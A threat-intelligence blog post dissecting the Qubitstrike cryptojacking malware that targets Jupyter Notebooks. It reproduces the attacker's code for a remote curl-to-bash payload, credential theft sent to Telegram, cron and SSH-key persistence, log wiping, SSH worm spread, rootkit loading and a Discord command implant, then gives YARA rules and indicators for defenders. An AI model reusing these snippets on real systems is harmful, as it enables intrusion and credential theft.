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October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash 

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code> 

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi 

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }  

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
} 

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
} 

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
} 

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
} 

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config 

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds } 

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
} 

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
} 

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
} 

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii') 

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code> 

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return 

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}')) 

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet } 

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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April 17, 2026

中国系サイバー作戦の進化 - それはサイバーリスクおよびレジリエンスにとって何を意味するか

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サイバーセキュリティにおいては、これまではインシデント、侵害、キャンペーン、そして脅威グループを中心にリスクを整理してきました。これらの要素は現在も重要です -しかし個別のインシデントにとらわれていては、エコシステム全体の形成を見逃してしまう危険があります。国家が支援する攻撃者グループは、個別の攻撃を実行したり短期的な目標を達成したりするためだけではなく、サイバー作戦を長期的な戦略上の影響力を構築するために使用するようになっています。  

当社の最新の調査レポート、Crimson Echoにおいてもこうした状況にあわせて視点を変えています。キャンペーンやマルウェアファミリー、あるいはアクターのラベルを個別のイベントとして分類するのではなく、ダークトレースの脅威調査チームは中国系グループのアクティビティを長期的に連続した行動として分析しました。このように視野を拡大することで、これらの攻撃者がさまざまな環境内でどのように存在しているか、すなわち、静かに、辛抱強く、持続的に、そして多くのケースにおいて識別可能な「インシデント」が発生するかなり前から下準備をしている様子が明らかになりました。  

